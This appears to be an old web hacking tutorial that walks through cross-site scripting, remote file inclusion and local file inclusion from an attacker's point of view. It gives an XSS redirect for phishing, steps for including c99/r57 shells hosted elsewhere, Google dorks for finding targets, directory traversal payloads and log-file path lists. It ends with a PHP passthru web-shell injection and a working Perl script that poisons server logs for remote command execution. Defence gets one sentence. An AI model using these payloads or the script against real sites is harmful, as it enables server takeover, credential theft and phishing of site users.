WEB HACKING

With the Web 2.0 era upon us, most websites are dynamic and allow the users to interact with the content. Many of the web applications that run these dynamic websites have security flaws. we will discuss some of the most popular forms of attacks against web applications.

Cross Site Scripting

Cross site scripting (XSS) occurs when a user inputs malicious data into a website, which causes the application to do something it wasn’t intended to do. XSS attacks are very popular and some of the biggest websites have been affected by them including the FBI, CNN, Ebay, Apple, Microsft, and AOL. Some website features commonly vulnerable to XSS attacks are:

• Search Engines
• Login Forms
• Comment Fields

There are three types of XSS attacks:

1. Local – Local XSS attacks are by far the rarest and the hardest to pull off. This attack requires an exploit for a browser vulnerability. With this type of attack, the hacker can install worms, spambots, and backdoors onto your computer.
2. Non-Persistent – Non-persistent attacks are the most common types of attack and don’t harm the actual website. Non-persistent attacks occur when   (- a scripting language that is used for client-side web development.) or HTML is inserted into a variable which causes the output that the user sees to be changed. Non-persistent attacks are only activated when the user visits the URL crafted by the attacker.
3. Persistent – Persistent attacks are usually used against web applications like guest books, forums, and shout boxes. Some of the things a hacker can do with a persistent attacks are:
• Steal website cookies (Cookies are used by web browsers to store your user information so that you can stay logged into a website even after you leave. By stealing your cookie, the attacker can sometimes login without knowing your password.)
• Deface the website
• Spread Worms

Now that you know what cross site scripting is, how can you tell if a website if vulnerable to it?

1. If there is a search field, enter a word and if that word is displayed back to you on the next page, there’s a chance it is vulnerable.
2. Now we will insert some HTML. Search for <h1>hi</h1>, and if the word “hi” is outputted as a big header, it is vulnerable.

3. Now we will insert JavaScript. Search for <script>alert(“hi”);</script> , if the word “hi” pops up in a popup box, then the site is vulnerable to XSS.  

4. As you can see, these examples are non-persistent. Now if a hacker found a guestbook or something else like it that was vulnerable, he would be able to make it persistent and everyone that visits the page would get the above alert if that was part of his comment.

Hackers knowledgeable in JavaScript and PHP will be able to craft advanced XSS attacks to steal your cookies and spread XSS worms, but to show you a simple example of something more realistic then the above examples, I will show you how a hacker could use XSS to help with phishing.

1. Let’s say a hacker wants to phish passwords from www.victim-site.com. If he was able to find an XSS vulnerability anywhere on the website, he would be able to craft a link pointing to the legit website that redirects to his phishing website.
2. In the example with the popup, when I inserted the JavaScript into the search box, a URL was formed that looked like the following:

Here you can see that the code you typed into the search box was passed to the “searchbox” variable.  

3. In the URL the hacker would then replace everything in between ?searchbox= and &search with the following JavaScript code:

<script>window.location = “http://phishing-site.com”</script>

4. Now when you go to the finished link, the legitimate site will redirect to the phishing website. Next what the hacker would do is encode the URL to make it look more legit and less suspicious. You can encode the URL at http://www.encodeurl.com/.
5. My finished encoded URL is:

http%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.locati on+%3D+%5C%22http%3A%2F%2Fphishing-

site.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21

6. Once the victim sees that the link points to the legitimate website, he will be more likely to fall for the phishing attack.  

Remote File Inclusion

Remote File Inclusion (RFI) occurs when a remote file, usually a shell (a graphical interface for browsing remote files and running your own code on a server), is included into a website which allows the hacker to execute server side commands as the current logged on user, and have access to files on the server. With this power the hacker can continue on to use local exploits to escalate his privileges and take over the whole system.  

Many servers are vulnerable to this kind of attack because of PHP’s default settings of register_globals and allow_url_fopen being enabled. Although as of PHP 6.0, register_globals has been depreciated and removed, many websites still rely on older versions of PHP to run their web applications. Now let’s go through the steps a hacker would take to exploit this type of vulnerability in a website.

1. First the hacker would find a website that gets its pages via the

PHP include() function and is vulnerable to RFI. Many hackers use Google dorks to locate servers vulnerable to RFI. A Google dork is the act of using Google’s provided search tools to help get a specific search result.

2. Website that include pages have a navigation system similar to:

                                   http://target-site.com/index.php?page=PageName

3. To see if a the page is vulnerable, the hacker would try to include a site instead of PageName like the following: http://target-site.com/index.php?page=http://google.com  
4. If the Google homepage shows up on the website, then the hacker knows the website is vulnerable and would continue to include a shell.
5. A couple of the most popular shells are c99 and r57. A hacker would either upload them to a remote server or just use a Google dork to locate them already online and insert them. To find the a shell the hacker would search Google for: inurl:c99.txt. This will display many websites with the shell already up and ready to be included. At the end of the URL make sure to add a ? so that if anything comes after c99.txt, it will be passed to the shell and not cause any problems. The new URL with the shell included would look like:

http://target-site.com/index.php?page=http://site.com/c99.txt?

6. Sometimes the PHP script on the server appends “.php” to the end of every included file. So if you included the shell, it would end up looking like “c99.txt.php” and not work. To get around this, you would add a null byte () to the end of c99.txt. This tells the server to ignore everything after c99.txt.
7. In step one, I told you that hackers use Google dorks to look for sites possibly vulnerable to RFIs. An example of a Google dork would be: allinurl:.php?page=. This looks for URL’s with .php?page= in them. This is only an example and you most likely won’t find any vulnerable sites with that search. You can try switching around the word “page” with other letters and similar words. Hackers usually search vulnerability databases like www.milw0rm.com for already discovered RFI vulnerabilities in site content management systems and search for websites that are running that vulnerable web application with a Google dork.

8. If the hacker succeeds in getting the server to parse the shell, he will be presented with a screen similar to the following:

The shell will display information about the remote server and list all the files and directories on it. From here the hacker would find a directory that has read and write privileges and upload the shell but this time as a .php file so that incase the vulnerability is fixed, he will be able to access it later on.

9. The hacker would next find a way to gain root privileges on the system. He can do this by uploading and running local exploits against the server. He could also search the victim server for configuration files. These files may contain username and passwords for the MYSQL databases and such.

To protect yourself from RFI attacks, simply make sure you are using up-to-date scripts, and make sure you server php.ini file has register_globals and allow_url_fopen disabled.

Local File Inclusion

Local File Inclusion (LFI) is when you have the ability to browse through the server by means of directory transversal. One of the most common uses of LFI is to discover the /etc/passwd file. This file contains the user information of a Linux system. Hackers find sites vulnerable to LFI the same way I discussed for RFI’s. Let’s say a hacker found a vulnerable site, www.targetsite.com/index.php?p=about, by means of directory transversal he would try to browse to the /etc/passwd file:  

www.target-site.com/index.php?p= ../../../../../../../etc/passwd

The ../ you up one directory and the amount to use depends where in the server you are located compared the location of the /etc/passwd file.

If the hacker is able to successfully get to the /etc/passwd file he would see a list similar to the one below.

Root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/log:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt

Each line is divided into seven parts:  

username:passwd:UserID:GroupID:full_name:directory:shell

If the password hash was shown, the hacker would be able to crack it and get access to the machine, but in our case the password isn’t shown. This means that the password is shadowed and in the /etc/shadow file which the hacker doesn’t have access to. If this was the case, the hacker would probably attempt to get access to the system another way, through log injection.

The log directories are located in different areas in different Linux distributions. Below is a list of the most common locations.

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../etc/httpd/logs/acces_log

../../../../../../../etc/httpd/logs/acces.log

../../../../../../../etc/httpd/logs/error_log

../../../../../../../etc/httpd/logs/error.log

../../../../../../../var/www/logs/access_log

../../../../../../../var/www/logs/access.log

../../../../../../../usr/local/apache/logs/access_log

../../../../../../../usr/local/apache/logs/access.log

../../../../../../../var/log/apache/access_log

../../../../../../../var/log/apache2/access_log

../../../../../../../var/log/apache/access.log

../../../../../../../var/log/apache2/access.log

../../../../../../../var/log/access_log

../../../../../../../var/log/access.log

../../../../../../../var/www/logs/error_log

../../../../../../../var/www/logs/error.log

../../../../../../../usr/local/apache/logs/error_log

../../../../../../../usr/local/apache/logs/error.log

../../../../../../../var/log/apache/error_log

../../../../../../../var/log/apache2/error_log

../../../../../../../var/log/apache2/error.log

../../../../../../../var/log/error_log

../../../../../../../var/log/error.log

Below are the steps a hacker would take to take gain access to the system through log injection.

1. First the hacker would find what operating system version the target server is running and then search where the log files are located on that OS.
2. Next, through LFI the hacker would navigate to that file location. If he is displayed with a bunch of logs, then he may continue.
3. The hacker would then inject some PHP code into the logs by typing  <? Passthru($_GET[‘cmd’]) ?> after = in the URL. This will cause the PHP script to be logged because there is no file by that name. What this script will do is give the hacker shell access and allow him to execute system commands.
4. Now if the hacker goes back to the log file, he will see that his PHP script wasn’t parsed and instead converted to  

%3C?%20passthru($_GET[cmd])%20?%3E

5. When you submitted the script, the browser automatically encoded the URL. Luckily there is a pearl script that can get around this problem. Below is the pearl script, edit the variables:  $site, $path, $code, and $log to the appropriate information.

#!/usr/bin/perl -w use IO::Socket; use LWP::UserAgent;

$site=”www.vulnerablesite.com”;

$path=”/”;

$code=”<? Passthru(\$_GET[cmd]) ?>”;

$log = “../../../../../../../etc/httpd/logs/error_log”; print “Trying to inject the code”;

$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or die

“\nConnection Failed.\n\n”;

print $socket “GET “.$path.$code.” HTTP/1.1\r\n”; print $socket “User-Agent: “.$code.”\r\n”; print $socket “Host: “.$site.”\r\n”; print $socket “Connection: close\r\n\r\n”; close($socket);

print “\nCode $code successfully injected in $log \n”; print “\nType command to run or exit to end: “;

$cmd = <STDIN>; while($cmd !~ “exit”) {

$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or die

“\nConnection Failed.\n\n”;

print $socket “GET “.$path.”index.php?filename=”.$log.”&cmd=$cmd HTTP/1.1\r\n”; print $socket “Host: “.$site.”\r\n”; print $socket “Accept: */*\r\n”; print $socket “Connection: close\r\n\n”; while ($show = <$socket>)

{

print $show;

}

print “Type command to run or exit to end: “;

$cmd = <STDIN>; }

6. Once the hacker runs this script and it goes successfully, he will be able to run any command on the server. From here he can run any local exploits to gain root, or just browse the server files.